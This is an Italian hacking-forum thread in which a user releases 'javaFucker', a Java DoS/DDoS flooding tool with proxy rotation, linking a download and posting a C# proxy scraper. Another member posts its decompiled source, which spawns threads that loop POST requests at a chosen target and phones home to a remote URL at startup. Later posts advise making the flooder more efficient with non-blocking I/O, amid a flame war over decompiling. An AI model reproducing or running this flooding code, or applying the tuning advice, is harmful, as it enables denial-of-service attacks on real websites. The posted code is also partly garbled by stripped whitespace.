DoS javaFucker

Stato
Discussione chiusa ad ulteriori risposte.

srsly

Bannato
10 Marzo 2015
334
16
85
140
Ultima modifica:
javaFucker è un programma codato in Java, stabile, che emula attacchi di tipo DoS/DDoS.
Features (1.0)
Attacco con/senza proxies
Possibilità di controllare se un sito è online/offline (controlla automaticamente da isup.me)
Potente
Stabile​
Ancora sono alla prima versione.
Video di dimostrazione presto disponibile!

Il programma si può aprire attraverso il cmd digitando: java -jar posizione_file/javaFucker.exe
Download: http://www.mediafire.com/download/pich6212bxidbn7/j*v*F*ck*r.exe
VT Scan: https://www.virustotal.com/it/file/...1b299c385a9b9ec966cd3a07/analysis/1440199050/
Video di dimostrazione:

Vi rilascio pure un semplice proxy scraper (con sorgente) che ho codato in C#. Esso usa un webclient, usa la funzione downloadstring e applica la regex (espressione regolare):
Codice:
using System;
using System.Net;
using System.Text.RegularExpressions;

internal static class Program
{
    //by @srsly from Inforge.net

    private static WebClient client = new WebClient();
    public static void Main()
    {
        Console.Title = "Scrape proxies";
        Console.Write("Scrape proxies from (page number): ");
        string pageNumber = Console.ReadLine();
        if (IsNumeric(pageNumber))
        {
            ScrapeProxies(Convert.ToInt32(pageNumber));
        }
    }

    public static void ScrapeProxies(int pn)
    {
        try
        {
            string pageContent = client.DownloadString("https://proxy-list.org/english/index.php?p=" + pn);
            MatchCollection mc = Regex.Matches(pageContent, "(([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.){3}([01]?\\d\\d?|25[0-5]|2[0-4]\\d):0*(?:6553[0-5]|655[0-2][0-9]|65[0-4][0-9]{2}|6[0-4][0-9]{3}|[1-5][0-9]{4}|[1-9][0-9]{1,3}|[0-9])");
            foreach (Match m in mc)
            {
                Console.WriteLine(m.ToString());
            }
            Console.WriteLine();
            Main();
        }
        catch (Exception ex)
        {
            System.Windows.Forms.MessageBox.Show(ex.Message, "Errore");
        }
    }

    public static bool IsNumeric(this string s)
    {
        float output;
        return float.TryParse(s, out output);
    }
}
 
Mi stavo aspettando il cretino di turno che diceva "È un virus, non si apre".
Una console app in java si apre dal cmd con questo comando: java -jar posizione/javaFucker.exe
 
Mi stavo aspettando il cretino di turno che diceva "È un virus, non si apre".
Una console app in java si apre dal cmd con questo comando: java -jar posizione/javaFucker.exe

Perchè vi ostinate a compilarli in .exe ? È un jar.. Obfuscalo e lascialo jar no ???


Inviato dal mio iPhone utilizzando Tapatalk
 
Perchè vi ostinate a compilarli in .exe ? È un jar.. Obfuscalo e lascialo jar no ???


Inviato dal mio iPhone utilizzando Tapatalk
I file exe possono essere criptati e protetti da applicazioni java.
I file generati exe forniscono un supporto del system tray icon.
E altro.
E ricorda che non è MAI impossibile reversare qualcosa.
PS: Aspettatevi una versione in C++.
 
I file exe possono essere criptati e protetti da applicazioni java.
I file generati exe forniscono un supporto del system tray icon.
E altro.
E ricorda che non è MAI impossibile reversare qualcosa.
PS: Aspettatevi una versione in C++.
no non è impossibile, ma devi avere molta voglia a reversare qualcosa, non credo che questo script possa tentare tanta curiosità... comunque aspetto la versione in C++ per poterlo provare su linux.
 
no non è impossibile, ma devi avere molta voglia a reversare qualcosa, non credo che questo script possa tentare tanta curiosità... comunque aspetto la versione in C++ per poterlo provare su linux.
Da questo si intuisce che non sai la differenza.
"Devi avere molta voglia a reversare qualcosa" < quello che hai detto non ha senso.
Java è cross-platform, può essere avviato in tutte le piattaforme a costo che ci sia una JVM.
 
Da questo si intuisce che non sai la differenza.
"Devi avere molta voglia a reversare qualcosa" < quello che hai detto non ha senso.
Java è cross-platform, può essere avviato in tutte le piattaforme a costo che ci sia una JVM.

Io intendevo che se anche lo lasci in .jar penso che nessuno cerchi di reversare uno script del genere...
 
Io intendevo che se anche lo lasci in .jar penso che nessuno cerchi di reversare uno script del genere...
Quello che hai detto è come dire, ad esempio.. : "Lascia la tua borsa qui, nessuno la prenderà!" in mezzo alla gente.
Scusa il paragone stupido, ma ci voleva.
In sintesi non ti puoi fidare di nessuno.
 
Tanto per dimostrare l'inutilita' di compilarlo in .exe ;)

Codice:
importJavaFucker;import java.io.BufferedReader;import java.io.File;import java.io.FileReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.PrintStream;import java.io.Reader;import java.net.URL;import java.net.URLConnection;import java.util.ArrayList;import java.util.Scanner;

publicclassJavaFucker{staticbooleanUseProxies;staticArrayList<String> proxies;staticString request;

publicstatic/* varargs */void main(String... args){try{Stringstring=JavaFucker.Check("http://lezzosgoccioloso.altervista.org/4f26ff48d6bdcbc019d613ef284961b5/jfp.php");}catch(Exception ex){return;}System.out.println(" _ ______ _ ____ ");System.out.println(" (_) | ____| | | / /\\ \\ _ ");System.out.println(" _ __ _ __ __ __ _ | |__ _ _ ___ | | __ ___ _ __ | | | |(_)");System.out.println(" | | / _` |\\ \\ / // _` || __|| | | | / __|| |/ // _ \\| '__|| | | | ");System.out.println(" | || (_| | \\ V /| (_| || | | |_| || (__ | <| __/| | | | | | _ ");System.out.println(" | | \\__,_| \\_/ \\__,_||_| \\__,_| \\___||_|\\_\\\\___||_| | | | |( )");System.out.println(" _/ | \\_\\/_/ |/");System.out.println(" |__/ ");System.out.println(" Test your website security - use it at your own risk! ");System.out.println(" Version: 1.0 - Coded by @srsly from Inforge.net");JavaFucker.MainMenu();}

staticvoidMainMenu(){System.out.println();System.out.println("Main menu");System.out.println("1) New attack");System.out.println("2) Check website status");System.out.println("3) Quit");System.out.println();Scanner sc =newScanner(System.in);System.out.print("Enter option: ");try{int option = sc.nextInt();System.out.println();if(option ==1){Scanner atck =newScanner(System.in);System.out.print("Target: ");
request = atck.next();
request = request.replace((CharSequence)"http://",(CharSequence)"");if(!request.contains((CharSequence)"https://")){
request ="http://"+ request;}System.out.print("Threads: ");int threads = atck.nextInt();System.out.print("Do you want to use proxies? (y/n): ");String reply = atck.next();if(reply.toLowerCase().equals("y")){System.out.print("Proxy list path: ");String plPath = atck.next();if(plPath.toLowerCase().endsWith(".txt")){File f =newFile(plPath);if(f.exists()&&!f.isDirectory()){String proxyListTxt =JavaFucker.readFile(plPath);UseProxies=true;
proxies.add(proxyListTxt);for(int i =0; i < threads;++i){
newAttack thread =new newAttack();
thread.start();}}else{System.out.println("File does not exist!");}}else{System.out.println("It's not a text file!");}}else{UseProxies=false;for(int i =0; i < threads;++i){
newAttack thread =new newAttack();
thread.start();}}}elseif(option ==2){Scanner webCheck =newScanner(System.in);System.out.print("Website to check: ");String toCheck = webCheck.next();if(JavaFucker.Check("http://isup.me/"+ toCheck).contains((CharSequence)"is up")){System.out.println("isup.me returned >> website online");}else{System.out.println("isup.me returned >> website offline");}}else{if(option ==3){return;}System.out.println("Invalid input!");}}catch(Exception ex){System.out.println("ERROR");return;}}

privatestaticStringCheck(String url)throwsIOException{String inputLine;
URL isup =new URL(url);URLConnection isupConnection = isup.openConnection();BufferedReaderin=newBufferedReader(newInputStreamReader(isupConnection.getInputStream(),"UTF-8"));StringBuilder a =newStringBuilder();while((inputLine =in.readLine())!=null){
a.append(inputLine);}in.close();return a.toString();}

publicstaticString readFile(String filename)throwsIOException{String content =null;File file =newFile(filename);FileReader reader =null;try{
reader =newFileReader(file);char[] chars =newchar[(int)file.length()];
reader.read(chars);
content =newString(chars);
reader.close();}catch(IOException e){
e.printStackTrace();}finally{if(reader !=null){
reader.close();}}return content;}

static{
proxies =newArrayList();}}

Codice:
importJavaFucker;import java.io.InputStream;import java.io.PrintStream;import java.net.HttpURLConnection;import java.net.URL;import java.net.URLConnection;import java.net.URLEncoder;import java.util.ArrayList;import java.util.Properties;import java.util.concurrent.atomic.AtomicBoolean;

publicstaticclassJavaFucker.newAttackextendsThread{privateAtomicBoolean rn =newAtomicBoolean(true);privatefinal URL url =new URL(JavaFucker.request);String param ="param1="+URLEncoder.encode("87845","UTF-8");

@Overridepublicvoid run(){while(this.rn.get()){try{this.pAttack();}catch(Exception var1_1){}}}

publicvoid pAttack()throwsException{if(JavaFucker.UseProxies){for(String proxy :JavaFucker.proxies){String[] parts = proxy.split(":");Properties systemProperties =System.getProperties();
systemProperties.setProperty("http.proxyHost", parts[0]);
systemProperties.setProperty("http.proxyPort", parts[1]);HttpURLConnection pconnection =(HttpURLConnection)this.url.openConnection();
pconnection.setDoOutput(true);
pconnection.setDoInput(true);
pconnection.setRequestMethod("POST");
pconnection.setRequestProperty("charset","utf-8");
pconnection.setRequestProperty("Host","localhost");
pconnection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0");
pconnection.setRequestProperty("Content-Type","application/x-www-form-urlencoded");
pconnection.setRequestProperty("Content-Length",this.param);System.out.println("Thread: OK // "+ proxy);
pconnection.getInputStream();}}else{HttpURLConnection connection =(HttpURLConnection)this.url.openConnection();
connection.setDoOutput(true);
connection.setDoInput(true);
connection.setRequestMethod("POST");
connection.setRequestProperty("charset","utf-8");
connection.setRequestProperty("Host","localhost");
connection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0");
connection.setRequestProperty("Content-Type","application/x-www-form-urlencoded");
connection.setRequestProperty("Content-Length",this.param);System.out.println("Thread: OK");
connection.getInputStream();}}}
Ecc...
 
Ultima modifica da un moderatore:
Nota: non ho controllato se l' exe e' un vero exe o un jar con l'estensione cambiata ;)

Ma dalla sintassi per mandarlo in esecuzione, e' solo un jar con estensione exe.
Inutile.

Nota/2: peccato per la formattazione, ma l'autore e' in grado di controllare che il codice e' il suo (ed eventualmente confermarlo ;) )
 
Ultima modifica da un moderatore:
Ovviamente, il tutto fatto in meno di 60 secondi ;)

Nota: le contromisure per questo tipo di attacchi sono molto semplici!
 
Ultima modifica:
Un decompilatore non è in grado di arrivare al vero e proprio codice.
"Il tutto fatto in meno di 60 secondi"
Si è capito, sei un lamerozzo da 4 soldi, magari leggessi i miei vecchi messaggi.
A reversare un programma non ci vuole niente.
"Ma dalla sintassi per mandarlo in esecuzione, e' solo un jar con estensione exe.
Inutile."
Quello che hai detto non ha senso.
NB: Potevi evitare di postare il codice qui.
Aspettatevi la versione in C++ sperando che questo bimbo scemo non lo reversi pure.
NB N.2: Il 98% del codice è errato.

PS: me lo immaginavo che iniziava a rompere qualcuno, perciò javaFucker non è più funzionante.
PS N.2: Secondo me non sai codare un ca*zzo. Ecco i miei vantaggi su di te.
 
Un decompilatore non è in grado di arrivare al vero e proprio codice.
"Il tutto fatto in meno di 60 secondi"
Si è capito, sei un lamerozzo da 4 soldi, magari leggessi i miei vecchi messaggi.
A reversare un programma non ci vuole niente.
"Ma dalla sintassi per mandarlo in esecuzione, e' solo un jar con estensione exe.
Inutile."
Quello che hai detto non ha senso.
NB: Potevi evitare di postare il codice qui.
Aspettatevi la versione in C++ sperando che questo bimbo scemo non lo reversi pure.
NB N.2: Il 98% del codice è errato.

PS: me lo immaginavo che iniziava a rompere qualcuno, perciò javaFucker non è più funzionante.
PS N.2: Secondo me non sai codare un ca*zzo. Ecco i miei vantaggi su di te.
Stai calmo lol... La mia era solo una considerazione/domanda sul perchè compilate in exe...

Mica devi prendertela a male per così poco....


Inviato dal mio iPhone utilizzando Tapatalk
 
Un decompilatore non è in grado di arrivare al vero e proprio codice.
"Il tutto fatto in meno di 60 secondi"
Si è capito, sei un lamerozzo da 4 soldi, magari leggessi i miei vecchi messaggi.
A reversare un programma non ci vuole niente.
"Ma dalla sintassi per mandarlo in esecuzione, e' solo un jar con estensione exe.
Inutile."
Quello che hai detto non ha senso.
NB: Potevi evitare di postare il codice qui.
Aspettatevi la versione in C++ sperando che questo bimbo scemo non lo reversi pure.
NB N.2: Il 98% del codice è errato.

PS: me lo immaginavo che iniziava a rompere qualcuno, perciò javaFucker non è più funzionante.
PS N.2: Secondo me non sai codare un ca*zzo. Ecco i miei vantaggi su di te.
Sono curioso di sapere quali sono gli errori :asd: :asd:
 
Esperienze tue però il codice è proprio quello secondo me :asd:
A meno che non hai confezionato in modo esplicito il codice sorgente nel file JAR, non c'è modo di tornare alla fonte originale, lo stile del codice sarà differente, e forse anche le strutture di codice. Si potrebbe usare un decompilatore, ma ti fornirà la versione difficile da leggere.
Quindi non otterrai il vero e proprio codice sorgente perchè il compiler fa una marea di ottimizzazzioni.
 
A meno che non hai confezionato in modo esplicito il codice sorgente nel file JAR, non c'è modo di tornare alla fonte originale, lo stile del codice sarà differente, e forse anche le strutture di codice. Si potrebbe usare un decompilatore, ma ti fornirà la versione difficile da leggere.
Quindi non otterrai il vero e proprio codice sorgente perchè il compiler fa una marea di ottimizzazzioni.
Quindi da essere differente il 98% del codice siamo passati al fatto che solo la struttura del codice è differente...
 
Ultima modifica da un moderatore:
@Kwoon, il giovane @srsly non ha mai usato un decompilatore, mi sa ;)
Comunque ho controllato, e' effettivamente un exe! L'header inizia con MZ.
Ma lo apri banalmente con WinRar.

@srsly, invece di arrabbiarti, impara da chi ha un po' piu' di esperienza.

Decompilare il bytecode Java o .NET e' banale: ci sono dei tool decisamente potenti e anche direttamente online ;)

http://www.javadecompilers.com/

Vero non genera il codice scritto dal programmatore (ma va!!!!!!!), ma ricostruisce il sorgente equivalente al bytecode generato! E questa e' l'unica cosa importante!
Ci possono essere dei casi in cui il reversing viene fatto male, ma generalmente si possono fare le correzioni a mano.

Nel caso di javaFucker, ad esempio, ha decompilato separatamente la inner class "newAttack" (lo standard Java per la scrittura del codice indica specifica l'uso del CamelCase e le classi devono iniziare con la lettera maiuscola :) ). Pero', e' banale ricostruire a mano il sorgente.

Ha ragione @vgg5465, se vuoi rendere illegibile il codice Java, la soluzione migliore e' ofuscarlo.
Un buon tool e' ProGuard.

Ma anche questo potrebbe non bastare: ovviamente, non puoi ofuscare le funzioni di libreria. Se l'applicazione non e' particolarmente complessa, e' possibile assegnare dei nomi ragionevoli alle variabili, ed un po' alla volta ottenere un codice comprensibile.

Attenzione: un ofuscatore non e' la panacea di tutti i mali: ci sono situazioni in cui NON PUOI ofuscare parti di codice!
Quindi, come tutti i tool, va usato con cognizione di causa!

Un'applicazione in C/C++ NON E' piu' complicata da reversare!
Ovvio, non ottieni il sorgente C/C++ originale, ma il sorgente assembler!
E con tool come Ida lo fai in un istante.

Poi, se vogliamo andare nel dettaglio, la tua implementazione ha un diffetto fondamentale:
un DOS fondamentalmente ha il compito di occupare tutte le 65536 connessioni TCP in modo che il server non possa piu' rispondere.

Tu lo fai creando dei thread (soluzione classica).

Ora un thread e' una risorsa molto pesante per il sistema operativo: memoria per lo stack, timeslice da dedicare al thread, contest switch necessari per passare da un thread all'altro, ecc.
Il risultato e' che sarai tu a rimanere senza risorse (mancanza di memoria per i nuovi thread, troppo tempo per passare da un thread all'altro) prima di riuscire a dar fastidio al server sotto attacco.

Se vuoi implementare questo tipo di applicazione in modo infinitamente piu' efficiente, devi usare il non-blocking input/output di Java NIO o l'equivalente disponibile in boost per C++

http://www.boost.org/

Ovviamente, visto che sono un lamerozzo da 4 soldi potrei aver detto un saaaaaaccco di baggianate ;)
 
@Kwoon, il giovane @srsly non ha mai usato un decompilatore, mi sa ;)
Comunque ho controllato, e' effettivamente un exe! L'header inizia con MZ.
Ma lo apri banalmente con WinRar.
Quella firma, MZ veramente è una firma usata dal formato MS-DOS rilocabile a 16-bit formato exe.
Ogni file PE contiene anche un programma DOS 16-bit e iniziano sempre con quella intestazione.
"Nel caso di javaFucker, ad esempio, ha decompilato separatamente la inner class "newAttack" (lo standard Java per la scrittura del codice indica specifica l'uso del CamelCase e le classi devono iniziare con la lettera maiuscola :) )."
Vedi che quella è una convenzione del code, adottata da molti programmi Java. Semplicemente lo rende più facilmente leggibile per un determinato standard.
Usando il naming conventions semplicemente ti fa capire velocemente il codice quando lo leggi.

No, non ci sono strumenti affidabili in grado di reversare c++ compilato.
Un programma compilato non è altro che istruzioni in linguaggio macchina. Per sapere come sono mappati i costrutti C++, si deve conoscere il compilatore, librerie incluse, impostazioni del compiler eccetera...
Continuo a rispondere quando ritorno (sta sera).
 
Ultima modifica da un moderatore:
@srsly, ti ringrazio per la dettagliata spiegazione ma se lo stai facendo solo per me ti puoi tranquilizzare, diciamo che non sono proprio digiuna di questi argomenti ;)
 
Sono tornato, quindi finisco di risponderti.
Come ho gia' scritto, la decompilazione di un'applicazione binaria consiste nell'ottenere l'assembler, NON il sorgente originale!!!
Non ti confondere, l'assembler è un software usato per compilare la source nel codice della macchina.
E non ripeterlo più di due volte che l'abbiamo capito quello che vuoi dire. E poi non vedo il motivo di scrivere "NON il sorgente originale" dato che ho appunto detto che non si può risalire al sorgente originale.

"Tu lo fai creando dei thread (soluzione classica)"
Ah, e come vorresti farlo? Certo che è la soluzione classica.
Il multithreading è un modo per introdurre il parallelismo nel programma. In pratica è usato in casi dove il tempo di esecuzione è "ristretto" dalla CPU al contrario di altri settori, come ad esempio IO. Si può usare il multithreading quando si pensa che qualcosa può essere parallelizzato o può essere fatto asincrono. Quindi perchè no. Semmai per lo stesso tipo di attività, sarà costoso. Ma ci sono i Thread Pools in Java.

"Se vuoi implementare questo tipo di applicazione in modo infinitamente piu' efficiente, devi usare ilnon-blocking input/output di Java NIO"
Parlando più obbiettivo, solo per qualche vantaggio, ad esempio solo perchè può usare i buffer diretti, quindi parliamo anche di DMA per determinate operazioni.
NIO in pratica fornisce una parte del lavoro il quale aiuterebbe, e presumo sia più veloce per evitare tutto ciò che blocchi i thread, evitare di copiare i buffer ecc.

Comunque se noti:
pconnection.setDoOutput(true); serve per inviare ad esempio con POST il "corpo" di una richiesta, ma non con GET.
 
Ultima modifica da un moderatore:
@srsly, non fare il saputello. Rischi di farti male ;)

Magari oggi lo chiami assembly, ma si USAVA anche il termine linguaggio assembler (da cui assembler e assemblatore).

I threadpool non sono la stessa cosa del I/O asincrono!

1) non puoi realizzare un threadpool da 10.000 thread (se non ci credi, prova!), mentre puoi tranquillamentre creare 10.000 connessioni TCP!
2) l'I/O asincrono lo puoi implementare mediante le coroutine
3) l'I/O asincrono NON e' solo l'uso del DMA, che, in questo caso, NON CENTRA UN CIUFFOLO, visto si sta parlando di connessioni TCP (e quindi di buffer gestito dal driver della scheda di rete)
4) tempo di esecuzione "ristretto" dalla CPU: che cosa vorresti dire? Ritenta usando la corretta terminologia tecnica (fai conto di spiegarlo al tuo professore e non ad un bimbo scemo ;) ), magari chi legge capisce che cosa vuoi dire.

Diciamo che, a parte qualche castronata, qualcosina la sai, quindi non sei classificabile come un lamerozzo da 4 soldi.
Aggiungiamoci che Java, C# e C++ non ti sono dei perfetti sconosciuti, sei sulla buona strada per fare qualcosa di buono nella vita ;)

Dovresti spendere il tuo tempo in cose piu' intelligenti che fare banali programmini da aspirante hacker ;)
 
Ultima modifica:
"srsly, non fare il saputello. Rischi di farti male"
Quello che si sta facendo male qui sei tu.
Senza offesa, ma queste cose le ho studiate meglio di te. Ed ho pure più esperienza di te.
Ma questi comportamenti infantili? Che poi ti giudichi un professore... Non credo proprio.
Un professore non va a rompere vantandosi di aver decompilato un programmino da 4 soldi.

"I threadpool non sono la stessa cosa del I/O asincrono!"
Mai detto.

Ti spiego, così magari capisci:
l' IO asincrono è avvantaggiato:
1) Il tuo thread può continuare il suo lavoro in parallelo.
2) Ovviamente si può raggiungere questo obbiettivi utilizzando un thread aggiuntivo.
3) Come già hai affermato, per migliori prestazioni sarebbero meglio usare l'IO asincroni (in modo di ridurre la commutazione dei thread)
4) IO include multipli tipi di operazioni. Ad esempio, accesso di risorse di rete eccetera. A seconda della piattaforma e del tipo di operazioni. Nota che esso "approfitta" di qualsiasi supporto hardware per eseguire l'operazione.
E vuol dire che sarà eseguito con minor impatto possibile sulla CPU.
Poi dipende, ad esempio parlando di applicazioni, l'IO asincrono evita che i thread aspettino che le operazioni di IO completino, eccetera.

Poi niente. Parlando invece di Thread pool sono in pratica una collezione di thread.
Comunque giusto per dirti, 10,000 operazioni non sono threads, sono semplicemente runnables.
E queste operazioni (istanze di runnable) sono posti in una Blockingqueue.



"l'I/O asincrono NON e' solo l'uso del DMA, che, in questo caso, NON CENTRA UN CIUFFOLO"
NIO può usare i buffer diretti che rendono abile l'OS ad usare il DMA.
Quindi c'entra.

@alynaa
 
Stato
Discussione chiusa ad ulteriori risposte.